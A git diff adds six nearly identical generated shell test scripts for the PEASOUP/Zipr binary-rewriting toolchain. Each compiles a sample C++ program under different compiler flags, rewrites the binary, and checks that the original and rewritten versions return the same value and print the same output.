diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..8008567c581b3409eea373d65445b0113db6c11a
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0406ada58b3599243a38d23c7293943fbcadd5be
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..76d76b9ff958381c4b6f8bd8dc574bcc9da56ea1
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..91f4bb01b6c5490d202cf80634c66f20c2c49340
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b43f3a88da07d8670c931c8108ddb6a187e1f936
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1a9662a3eb3c7548d062302af7bea9ae27ba6b18
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-Os.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
